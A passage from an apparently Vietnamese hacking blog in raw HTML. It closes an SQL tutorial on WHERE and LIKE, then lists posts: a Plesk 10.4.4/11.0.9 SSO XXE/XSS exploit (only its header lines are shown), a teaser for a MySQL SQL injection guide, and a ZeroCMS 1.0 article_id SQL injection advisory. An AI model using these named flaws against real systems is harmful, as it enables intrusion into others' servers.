sans-serif; font-size: 14px; line-height: 22.399999618530273px;">Câu lệnh </span><b style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;">đúng</b><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">:</span><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><i style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;"><b style="margin: 0px; padding: 0px;">SELECT</b> * <b style="margin: 0px; padding: 0px;">FROM</b> Persons <b style="margin: 0px; padding: 0px;">WHERE</b> FirstName = 'Tove'</i><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">Câu lệnh </span><b style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;">sai</b><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">:</span><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><i style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;"><b style="margin: 0px; padding: 0px;">SELECT</b> * <b style="margin: 0px; padding: 0px;">FROM</b> Persons <b style="margin: 0px; padding: 0px;">WHERE</b> FirstName = Tove</i><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">Với dữ liệu dạng số:</span><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">Câu lệnh </span><b style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;">đúng</b><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">:</span><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><i style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;"><b style="margin: 0px; padding: 0px;">SELECT</b> * <b style="margin: 0px; padding: 0px;">FROM</b> Persons <b style="margin: 0px; padding: 0px;">WHERE</b> Year > 1965</i><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">Câu lệnh </span><b style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;">sai</b><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">:</span><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><i style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;"><b style="margin: 0px; padding: 0px;">SELECT</b> * <b style="margin: 0px; padding: 0px;">FROM</b> Persons <b style="margin: 0px; padding: 0px;">WHERE</b> Year > '1965'</i><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;">Phép toán điều kiện LIKE</span><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">Phép toán </span><b style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;"><i style="margin: 0px; padding: 0px;">LIKE</i></b><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;"> được dùng để tìm kiếm một chuỗi mẫu văn bản trên một cột.</span><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;">Cú pháp</span><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">Cú pháp của phép toán </span><i style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;"><b style="margin: 0px; padding: 0px;">LIKE</b></i><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;"> như sau:</span><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><i style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;"><b style="margin: 0px; padding: 0px;">SELECT</b> tên_cột <b style="margin: 0px; padding: 0px;">FROM</b> tên_bảng<br style="margin: 0px; padding: 0px;" /><b style="margin: 0px; padding: 0px;">WHERE</b> tên_cột <b style="margin: 0px; padding: 0px;">LIKE</b> mẫu</i><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">Một ký hiệu </span><i style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;">%</i><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;"> có thể được sử dụng để định nghĩa các ký tự đại diện. </span><i style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;">%</i><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;"> có thể được đặt trước và/hoặc sau mẫu.</span><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;">Sử dụng LIKE</span><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">Câu lệnh SQL sau sẽ trả về danh sách những người có tên bắt đầu bằng chữ O:</span><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><i style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;"><b style="margin: 0px; padding: 0px;">SELEC</b>T * <b style="margin: 0px; padding: 0px;">FROM</b> Persons<br style="margin: 0px; padding: 0px;" /><b style="margin: 0px; padding: 0px;">WHERE</b> FirstName <b style="margin: 0px; padding: 0px;">LIKE </b>'O%'</i><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">Câu lệnh SQL sau sẽ trả về danh sách những người có tên kết thúc bằng chữ a:</span><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><i style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;"><b style="margin: 0px; padding: 0px;">SELECT</b> * <b style="margin: 0px; padding: 0px;">FROM</b> Persons<br style="margin: 0px; padding: 0px;" /><b style="margin: 0px; padding: 0px;">WHERE </b>FirstName<b style="margin: 0px; padding: 0px;"> LIKE</b> '%a'</i><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">Câu lệnh SQL sau sẽ trả về danh sách những người có tên chứa chuỗi </span><i style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;">la</i><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">:</span><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><br style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;" /><i style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;"><b style="margin: 0px; padding: 0px;">SELECT</b> * <b style="margin: 0px; padding: 0px;">FROM</b> Persons<br style="margin: 0px; padding: 0px;" /><b style="margin: 0px; padding: 0px;">WHERE</b> FirstName <b style="margin: 0px; padding: 0px;">LIKE</b> '%la%'</i><span style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;"></span></span><br /> <div class="box-admin" style="border-bottom-left-radius: 5px; border-bottom-right-radius: 5px; border-top-left-radius: 5px; border-top-right-radius: 10px; border: 2px dotted rgb(95, 253, 6); font-family: Arial, sans-serif; font-size: 12px; margin: 30px 0px 10px; padding: 0px; width: auto;"> Nguồn 123hack</div> <div style="-webkit-text-stroke-width: 0px; background-color: #1b1b1d; clear: both; color: lime; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 22.399999618530273px; margin: 0px; orphans: auto; padding: 0px; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;"> </div>

_SQL Tổng Quan (Mệnh đề WHERE)

Mệnh đề WHERE được dùng để thiết lập điều kiện truy xuất. Mệnh đề WHERE Để truy xuất dữ liệu trong bảng theo các điều kiện nào đó, một mệnh ...

Read more »

Plesk 10.4.4/11.0.9 - SSO XXE/XSS Injection Exploit

<div class="line number1 index0 alt2" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;"> <code class="php plain" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"># Exploit Title: Plesk SSO XXE injection (Old bug) Exploit              #</code></div> <div class="line number2 index1 alt1" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;"> <code class="php plain" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"># </code><code class="php functions" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; color: rgb(255, 20, 147) !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">Date</code><code class="php plain" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">: 12 06 2014                                                              #</code></div> <div class="line number3 index2 alt2" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;"> <code class="php plain" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"># Exploit Author: z00                                                           #</code></div> <div class="line number4 index3 alt1" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;"> <code class="php plain" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"># Software Link: http:</code><code class="php comments" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; color: rgb(0, 130, 0) !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">//www.parallels.com/                                  #</code></div> <div class="line number5 index4 alt2" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;"> <code class="php plain" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"># Version: 11.0.9 10.4.4                                                        #</code></div> <div class="line number6 index5 alt1" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;"> <code class="php plain" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"># Tested on: linux all                                                          #</code></div> <div class="line number7 index6 alt2" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;"> <code class="php plain" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"><?php</code></div> <div class="line number8 index7 alt1" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">  </div>

Plesk 10.4.4/11.0.9 - SSO XXE/XSS Injection Exploit

# Exploit Title: Plesk SSO XXE injection (Old bug) Exploit              # # Date : 12 06 2014                                            ...

Read more »

Hướng dẫn cơ bản khai thác SQL Injection đối với MySQL

<span style="background-color: white;"><span class="postbody" style="font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;"><b style="margin: 0px; padding: 0px;">I. Hướng dẫn cơ bản khai thác SQL Injection đối với MySQL</b></span><br style="margin: 0px; padding: 0px;">Demo: Khai thác SQL Injection trong Basic PHP Events Lister 1.0 </span></span><br>

Hướng dẫn cơ bản khai thác SQL Injection đối với MySQL

I. Hướng dẫn cơ bản khai thác SQL Injection đối với MySQL Demo: Khai thác SQL Injection trong Basic PHP Events Lister 1.0 

Read more »

ZeroCMS 1.0 - (zero_view_article.php, article_id param) - SQL Injection Vulnerability

<div class="line number2 index1 alt1" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;"> <code class="text plain" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">ZeroCMS 1.0 (article_id) SQL Injection Vulnerability</code></div> <div class="line number3 index2 alt2" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">  </div> <div class="line number4 index3 alt1" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">  </div> <div class="line number5 index4 alt2" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;"> <code class="text plain" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">Vendor: Another Awesome Stuff</code></div> <div class="line number6 index5 alt1" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px 